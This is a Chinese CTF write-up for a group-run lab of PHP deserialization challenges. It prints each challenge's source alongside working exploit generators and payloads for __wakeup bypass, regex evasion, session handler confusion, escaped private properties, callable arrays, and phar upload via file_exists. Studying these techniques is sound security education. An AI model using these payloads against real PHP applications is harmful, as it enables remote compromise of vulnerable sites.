小组内师傅自己搭建的靶场
突然想着来玩玩 有时间就打一两道 持续更新中---
Wakeup plus
题一:
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if (!isset($_GET['tryhackme'])){
show_source(__FILE__);
}
else{
$a=$_GET['tryhackme'];
echo $a;
unserialize($a);
}
?><!--key in flag1.php-->
很简单的wakeup绕过
PHP5 < 5.6.25, PHP7 < 7.0.10 当反序列化时变量个数与实际不符是会绕过
php7.2 将变量个数改为负数即可绕过
但是注意一点protected修饰时是有不可见字符的所以要编码
<?php
class SoFun{
protected $file;
function __construct(){
$this->file="flag1.php";
}
}
$a=new SoFun();
echo urlencode(str_replace('":1:','":2:',serialize($a)));//绕过wakeup
//O%3A5%3A%22SoFun%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A9%3A%22flag1.php%22%3B%7D
题二:
<?php
include "flag2.php";
class funny{
function __wakeup(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
if(preg_match('/[oc]:\d+:/i', $a)){
die("NONONO!");
} else {
unserialize($a);
}
} else {
show_source(__FILE__);
}
?>
d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。
/i: 表示匹配的时候不区分大小写
<?php
class funny
{}
$a = new funny();
$a = serialize($a);
$a= str_replace('O:5', 'O:+5',$a);//绕过preg_match
echo urlencode($a);
//O%3A%2B5%3A%22funny%22%3A0%3A%7B%7D
Bypass Session
题一:
<?php
include "flag3.php";
class funny{
private $password;
public $verify;
function __wakeup(){
global $nobodyknow;
global $flag;
$this->password = $nobodyknow;
if ($this->password === $this->verify){
echo $flag;
} else {
echo "浣犱笉澶鍟�??!";
}
}
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
show_source(__FILE__);
}
?>
这道题$nobodyknow是我们不可控的
但是需要$this->password === $this->verify
所以引用就行
<?php
class funny{
private $password;
public $verify;
function __construct()
{
$this->password=&$this->verify;
}
}
$a=new funny();
echo urlencode(serialize($a));
//O%3A5%3A%22funny%22%3A2%3A%7Bs%3A15%3A%22%00funny%00password%22%3BN%3Bs%3A6%3A%22verify%22%3BR%3A2%3B%7D
题二:
<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>
它给了提示 goto un42.php 我们得到
<?php
include "flag4.php";
ini_set('session.serialize_handler','php');
session_start();
class funny{
public $a;
function __destruct(){
global $flag;
echo $flag;
}
}
show_source(__FILE__);
?>
然后这道题的考点是不同引擎引起的
ini_set('session.serialize_handler','php_serialize');
ini_set('session.serialize_handler','php');
参考链接
所以构造payload
?tryhackme=|O:5:"funny":0:{}
然后再访问un42.php
Unseralize Array
题一:
<?php
include "flag5.php";
class funny{
private $a;
function __construct() {
$this->a = "givemeflag";
}
function __destruct() {
global $flag;
if ($this->a === "givemeflag") {
echo $flag;
}
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
}
unserialize($a);
} else {
show_source(__FILE__);
}
?>
这道题的考点这个地方
if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
die("浣犲埌搴曡涓嶈鍟�");
}
过滤了不可见字符
由于类中的$a是private属性。所以在构造序列化串时难以避免使用不可见字符
所以我们用S来绕过
paylaoad
?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}
此处如果使用小写s并使用%00就会在payload被urldecode后被检测拦截 故使用大写S进行hex code后使用00进行绕过处理
这样%00就会被转义进而符合要求
题二:
<?php
include "flag6.php";
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
show_source(__FILE__);
}
?>
这道题的考点就是php动态执行函数能力,即使用变量名后加括号的方式来对函数进行调用。这道题其实是让调用funny.pyflag
所以exp
<?php
class funny{
public function pyflag(){
global $flag;
echo $flag;
}
}
$a=new funny();
$b=array($a,pyflag::class);
echo serialize($b);
?>//a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}
Phar POP
题一:
<?php
include "flag7.php";
class funny{
function __destruct() {
global $flag;
echo $flag;
}
}
show_source(__FILE__);
if (isset($_GET['action'])) {
$a = $_GET['action'];
if ($a === "check") {
$b = $_GET['file'];
if (file_exists($b) && !empty($b)) {
echo "$b is exist!";
}
} else if ($a === "upload") {
if (!is_dir("./upload")){
mkdir("./upload");
}
$filename = "./upload/".rand(1, 10000).".txt";
if (isset($_GET['data'])){
file_put_contents($filename, base64_decode($_GET['data']));
echo "Your file path:$filename";
}
}
}
?>
首先得知道什么是phar反序列化
这道题有个上传和一个file_exists这个函数可以触发phar反序列化
<?php
class funny{
function __destruct() {
global $flag;
echo $flag;
}
}
$o = new funny();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
$a=file_get_contents('./phar.phar');
file_put_contents('./testphar',base64_encode($a));
所以payload
?action=upload&data=R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpGAAAAAQAAABEAAAABAAAAAAAQAAAATzo1OiJmdW5ueSI6MDp7fQgAAAB0ZXN0LnR4dAQAAAAd0NphBAAAAAx+f9i2AQAAAAAAAHRlc3RAurYSIHNYmrjYFKaIZkQPpDhEDgIAAABHQk1C
然后
?action=check&file=phar://./upload/xxxx.txt
题二:
<?php
include("./flag8.php");
class a {
public $object;
public function resolve() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "system" && $prev === "ls") {
echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class b {
protected $filename;
protected function addMe() {
return "Add Failed. Filename:".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class c {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["tryhackme"])) {
unserialize($_GET['tryhackme']);
} else {
highlight_file(__FILE__);
}
SOAP Escape
题一:
<?php
// POST py=flag&url=yoururl to un92.php and you will get the flag
if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a->pyflag();
} else {
show_source(__FILE__);
}
?>
题二:
<?php
include("flag10.php");
class a {
public $test_1;
public $string;
public $test_2;
public function __construct($test_1, $string, $test_2) {
$this->test_1 = $test_1;
$this->string = $string;
$this->test_2 = $test_2;
}
public static function filePutStr ($string) {
return str_replace("\0*\0", "00*00", $string);
}
public static function fileGetStr ($string) {
return str_replace("00*00", "\0*\0", $string);
}
public function __wakeup() {
$string = str_replace("1", "2", $this->string);
if ($string == 1) {
echo "Egg!!!";
} else {
echo "No egg, but you can get the flag!";
}
}
}
class b {
public $a;
protected $function;
public function __toString() {
if (is_string($this->a)) {
return $this->a;
} else if (is_callable($this->a)) {
return call_user_func($this->a);
} else {
return "nope";
}
}
public function fly() {
if ($this->function) {
global $flag;
echo $flag;
}
return "nope";
}
}
if ($_GET["mode"] == "ser" && isset($_GET["data"])) {
if (!is_dir("./tmp")) {
@mkdir("./tmp");
}
if (preg_match("/(fly)|(S)/", $_GET["data"])) {
die("Don't hack me, please~");
} else {
$a = new a($_GET['test_1'], $_GET["data"], $_GET["test_2"]);
$data = a::filePutStr(serialize($a));
file_put_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]), $data);
}
} else if ($_GET["mode"] == "unser") {
$data = file_get_contents("./tmp/".md5($_SERVER["REMOTE_ADDR"]));
$data = a::fileGetStr($data);
unserialize($data);
} else {
highlight_file(__FILE__);
}
Advance
<?php
include "flag11.php";
error_reporting(0);
class Flag{
static public $flag;
function __wakeup(){
global $flag;
self::$flag = $flag;
}
static function run($get){
if(run::$key != run::$re){
exit(unserialize($get)->run());
}else{
die('flag -> '.self::$flag);
}
}
}
class get{
function __construct(&$th1s){
$th1s->__class__ = Flag::$flag;
}
function run(){
global $__run__;
ob_start();
echo $__run__;
}
}
class run{
static public $key = 'you never know~';
static public $re = 'guess???';
function __destruct(){
if(Flag::$flag == ''){
exit();
}
usort($this->__function__ = array($this,$this->__function__),function($self,$func){return lcg_value() <= extract($self) ? new $self($func) : call_user_func($self);});
global $__run__;
$__run__ = (string)$this->__class__;
ob_end_clean();
}
}
if(isset($_REQUEST['data'])){
Flag::run($_REQUEST['data']);
}else{
highlight_file(__FILE__);
}
?>
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!